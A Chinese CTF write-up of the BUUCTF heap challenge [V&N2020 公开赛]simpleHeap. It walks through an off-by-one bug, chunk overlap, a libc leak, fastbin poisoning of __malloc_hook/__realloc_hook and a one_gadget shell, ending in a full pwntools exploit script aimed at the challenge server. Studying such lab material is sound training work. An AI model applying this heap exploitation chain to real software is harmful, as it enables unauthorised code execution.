[V&N2020 公开赛]simpleHeap

附件

步骤:

  1. 例行检查,64位,保护全开
  2. 根据题目可知是一道堆,直接用64位ida打开

    我修改了这些函数的名称,这样方便看程序
  3. add,我们可以申请一个0~111大小的堆块,note_list里存放的是chunk的指针,size_list里存放的是chunk的size

    edit

    edit_1,可以看到当i在出了第6行的if循环的时候,它的值是a2+1,这样导致存在off by one漏洞,应该将判断条件改写成>=10

    show,根据传入的idx,去寻找对应的指针,输出对应的内容

    delete,根据传入的idx,释放掉指针所指向的内存,并将指针置为0,size置0
  4. 首先创建三个chuk,第一个的size为0x18(24),因为系统在分配内存时,chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ的整数倍,会被转换满足大小的最小的 2 *SIZE_SZ 的倍数,64 位系统中,SIZE_SZ 是 8,而且处于使用状态中的chunk会复用下一个chunk的pre_size区域
add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x18,'c'*0x18) gdb.attach(r)


  1. 根据上面从IDA反编译出的函数的分析,edit函数存在off by one漏洞
    修改chunk0的时候,可以覆盖chunk1的size,这里我们将chunk1的size改为0x41,然后将其释放
edit(0,'a'*0x18+p8(0x41))
delete(1)

可以看到chunk1的大小以及被我们修改了

我们再申请0x30大小的chunk,就可以使chunk1和chunk2有重叠的部分

我们可以通过修改chunk1的内容来修改chunk2的size字段为0x91

这样系统再free的时候,将chunk2释放到unsorted bin(堆管理器的垃圾桶)里面,当unsorted bin里只有一个chunk时,该chunk的fd和bk指针均指向unsorted bin本身,而unsorted bin本身的地址与libc的基址之间的偏移是固定的,所以我们可以借此来泄露libc 基址。

先修改一下chunk2的size

edit(1,'e'*0x18+p64(0x91))


glibc在定位一个chunk的net_chunk时,是使用当前chunk_addr+当前chunk_size来实现的。chunk2的大小为0x20(包含chunk header),上图可以看到chunk2后的next_chunk的地址应该是0x40+0x90=0xd0,上图的0xd0地址处没有值,所以需要下处add来伪造chunk2的next chunk的pre_size域,可以通过释放的时候的检查。

add(0x60,'f'*0x60)


先malloc chunk便于后面payload构造,这里先申请了chunk4,用上面的办法,通过修改chunk4来修改chunk5的的size为0x41

add(0x18,"A"*0x10)
add(0x18,'a'*0x10)
edit(4,'b'*0x18+p8(0x41))


然后申请chunk6和chunk7,这里构造chunk6的内容,与上面是一样的目的,为了使通过释放chunk5时的安全检查。然后释放chunk5,再次申请chunk5,使chunk5与chunk6的部分内存空间重叠,因为后面chunk6会被释放,所以无法通过修改chunk6来修改chunk6的fd指针,所以需要通过修改chunk5来修改chunk6的fd指针。这里malloc chunk8是为了在释放chunk7的时候不与top chunk合并。

add(0x60,'b'*0x10+p64(0x40)+p64(0x21))	#chunk 6
add(0x60,'c'*0x10) #chunk 7
add(0x10,'c'*0x10) #chunk 8

delete(5)
add(0x30,'a'*0x18) #chunk 5


将chunk2释放,使其被放入unsorted bin,以此来泄露libc。这里因为chunk2的pre_size区域有00字段,导致在调用show函数的时候,puts函数会造成截断无法输出unsorted bin的地址,尝试使用edit函数来修改chunk2的pre_size区域,但是edit函数会将回车替换成00,所以我们这里先释放chunk1,然后再申请,add函数在输入内容的时候不会把回车修改为00字符。

delete(2)
delete(1)
add(0x30,'e'*0x20) #1
show(1) libc_base=u64(r.recv(0x26)[0x20:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_daget=libc_base+one_daget_offset[1]

libc_base的接收

先释放chunk7,再释放chunk6,使fast bin 链表结构为chunk6->fd=chunk7 ,修改chunk5来修改chunk6的fd指针为fake_chunk的指针。然后,先malloc 0x60得到chunk7,再次malloc 0x60,系统会认为chunk6–>fd指向的地址为空闲的chunk,便会将fake_chunk指向内存空间返还给我们,同时将payload写入

delete(7)
delete(6)
edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)
payload = p8(0)*11
payload += p64(one_daget)
payload+= p64(libc_base+0x846C0+0xc)
add(0x60,payload)

该payload修改__realloc_hook地址处的内容为one gadget地址,
我将libc里的one_gadget都试了一下,发现不对

去网上翻看了一下其他师傅的wp,发现他们修改了malloc_hook地址处的内容为ralloc函数的地址+0xc,来满足使用one_gadget的条件限制
参考这个师傅的方法,malloc_hook与realloc_hook是相邻的,所以这里可以通过一次修改达到目的。
realloc函数偏移为0x846c0,可以看到前面有很多push操作,通过修改realloc函数的起始地址+offset ,来减少或增加push的此时,来修正[rsp+0x30]为NUL,我们这里offset使用的为0xc,可以达到目的

完成上述的布局后只要去新建一个chunk就能触发漏洞利用

调用malloc函数---->判断是否有malloc_hook,有则调用之---->我们这里malloc_hook设置的为realloc函数+offset,程序便到此处执行---->执行realloc函数时,会判断是否有realloc_hook,有则调用之---->我们这里realloc_hook设置的为one_gadget,所以便会转到one_gadget处执行。

完整exp

#coding=utf-8
from pwn import * #r=process('./vn_pwn_simpleHeap')
r=remote("node3.buuoj.cn",28763) #context.log_level='debug' libc=ELF("./libc-2.23-64.so") def add(size,content):
r.recvuntil("choice: ")
r.sendline(str(1))
r.recvuntil("size?")
r.sendline(str(size))
r.recvuntil("content:")
r.send(content) def edit(idx,content):
r.recvuntil("choice: ")
r.sendline(str(2))
r.recvuntil("idx?")
r.sendline(str(idx))
r.recvuntil("content:")
r.sendline(content)
r.recvuntil("Done!") def show(idx):
r.recvuntil("choice: ")
r.sendline(str(3))
r.recvuntil("idx?")
r.sendline(str(idx)) def delete(idx):
r.recvuntil("choice: ")
r.sendline(str(4))
r.recvuntil("idx?")
r.sendline(str(idx))
r.recvuntil("Done!") add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x18,'c'*0x18) edit(0,'a'*0x18+p8(0x41))
delete(1)
add(0x30,'d'*0x30) edit(1,'e'*0x18+p64(0x91)) add(0x60,'f'*0x60) add(0x18,"A"*0x10)
add(0x10,'a'*0x10)
edit(4,'b'*0x18+p8(0x41)) add(0x60,'b'*0x10+p64(0x40)+p64(0x21)) #6
add(0x60,'c'*0x10) #7
add(0x10,'c'*0x10) #8
delete(5)
add(0x30,'a'*0x18) #5 delete(2)
delete(1)
add(0x30,'e'*0x20) #1
show(1) libc_base=u64(r.recv(38)[32:].ljust(8,"\x00"))-0x3c4b78
log.success("libc_base:"+hex(libc_base))
one_daget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_daget=libc_base+one_daget_offset[1] delete(7)
delete(6) #fast bin chunk6>chunk
edit(5,'f'*0x18+p64(0x71)+p64(libc_base+0x3c4aed))
add(0x60,'B'*0x10)#get idx7
payload = p8(0)*11
payload += p64(one_daget) #realloc_hook 写入one daget
payload+= p64(libc_base+0x846C0+0xc)#malloc hook 写入
add(0x60,payload)#get idx8 malloc_hook chunk r.recvuntil("choice: ")
r.sendline(str(1))
r.recvuntil("size?")
r.sendline(str(0x10))
r.interactive()
#gdb.attach(r) r.interactive()

参考wp:
https://www.cnblogs.com/zhwer/p/14009340.html
https://blog.csdn.net/qq_36495104/article/details/106236474
http://www.pwn4fun.com/pwn/buuctf-pwn-writeup-part4.html#%5BV_N2020%E5%85%AC%E5%BC%80%E8%B5%9B%5D_Simple_Heap

[BUUCTF]PWN——[V&N2020 公开赛]simpleHeap的更多相关文章

  1. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  2. [BUUCTF]PWN——[V&N2020 公开赛]babybabypwn

    [V&N2020 公开赛]babybabypwn 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看程序的大概情况 64位ida载入,看一下main函数 sub_1202()函 ...

  3. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  4. 【pwn】V&N2020 公开赛 simpleHeap

    [pwn]V&N2020 公开赛 simpleHeap 1.静态分析 首先libc版本是ubuntu16的2.23版本,可以去buu的资源处下载 然后checksec一下,保护全开 拖入IDA ...

  5. [BUUCTF]REVERSE——[V&N2020 公开赛]CSRe

    [V&N2020 公开赛]CSRe 附件 步骤: 例行检查,无壳儿,但是有NET混淆,使用de4dot工具进行处理 之后用dnSpy打开,从入口点开始看程序 找到有关flag的信息 flag由 ...

  6. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  7. 刷题记录:[V&N2020 公开赛]TimeTravel

    题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp V&N公开赛2020 writeup httpoxy ...

  8. [V&N2020 公开赛] Web misc部分题解

    0x00 前言 写了一天题目,学到了好多东西, 简单记录一下 0x01 Web HappyCTFd 直接使用网上公开的cve打: 解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮 ...

  9. [V&N2020 公开赛]babybabypwn

    写在开头,感谢"影二つ"师傅的指点. 题目的做法思路网上一搜一大把,这篇博客主要记录一下这道题用pwntools写srop的时候,为什么需要省略前面8个字节. 在看题目之前,先来学 ...

随机推荐

  1. [cf1219G]Harvester

    分类讨论(以下仅考虑行,列的情况):1.4行的,求出每一行的和后找到4个最大值即可:2.3行1列,枚举列,再将每一行最大值减去那一列的值后取3个最大值得和即可:3.2行2列,发现行和列是等价的,因此可 ...

  2. oracle 创建空间索引

    1. 首先进行查询,判断数据是否已经建立相应的空间元数据 select * from user_sdo_geom_metadata t where t.table_name like '%表名%'; ...

  3. 【JavaSE】异常

    Java异常 2019-07-06  22:16:29  by冲冲 1. 引例 任何程序都有出错的可能.比如代码少一个分号,那么运行的结果是 java.lang.Error.比如运行 System.o ...

  4. springboot上传文件异常解决方案

    配置文件加入: #配置文件传输 spring.servlet.multipart.enabled =true spring.servlet.multipart.file-size-threshold ...

  5. npm 配置 registry 以及使用 nrm

    由于众所周知的原因,我们的内网链接互联网时非常不稳定,速度慢而且经常下载失败.为了提高下载安装 npm 包的体验,很多人都会把 npm 的 registry 配置成国内镜像,我们一般用的比较多的就是淘 ...

  6. Jenkins系列-权限管理

    在实际工作中,存在多个团队都需要Jenkins来实现持续交付,但是又希望不同团队之间进行隔离,每个项目有自己的view, 只能看到自己项目的jenkins job. 但是,jenkins默认的权限管理 ...

  7. 【CSP2019】【洛谷5657】格雷码

    传送门:https://www.luogu.com.cn/problem/P5657 题意不再复述: 我们知道对于每个字符1 or 0: 只要考虑当前的k在2^n的前半段还是后半段就行 这里需要注意的 ...

  8. Codeforces 1270E - Divide Points(构造+奇偶性)

    Codeforces 题目传送门 & 洛谷题目传送门 显然,直接暴力枚举是不可能的. 考虑将点按横纵坐标奇偶性分组,记 \(S_{i,j}=\{t|x_t\equiv i\pmod{2},y_ ...

  9. 洛谷 P4709 - 信息传递(置换+dp)

    题面传送门 一道挺有意思的题罢-- 首先看到这种与置换乘法相关的题,首先把这些置换拆成一个个置换环,假设输入的置换有 \(m\) 个置换环,大小分别为 \(s_1,s_2,\cdots,s_m\),显 ...

  10. FVCOM泥沙模块河流边界处理

    简介 入流河流携带泥沙可以按照节点和边界两种形式给定,这两种方法都是在相关的节点上进行直接赋值,并不能保证进入计算域内泥沙总体积. 相关设置 XX_run.nml 河流参数设置 &NML_RI ...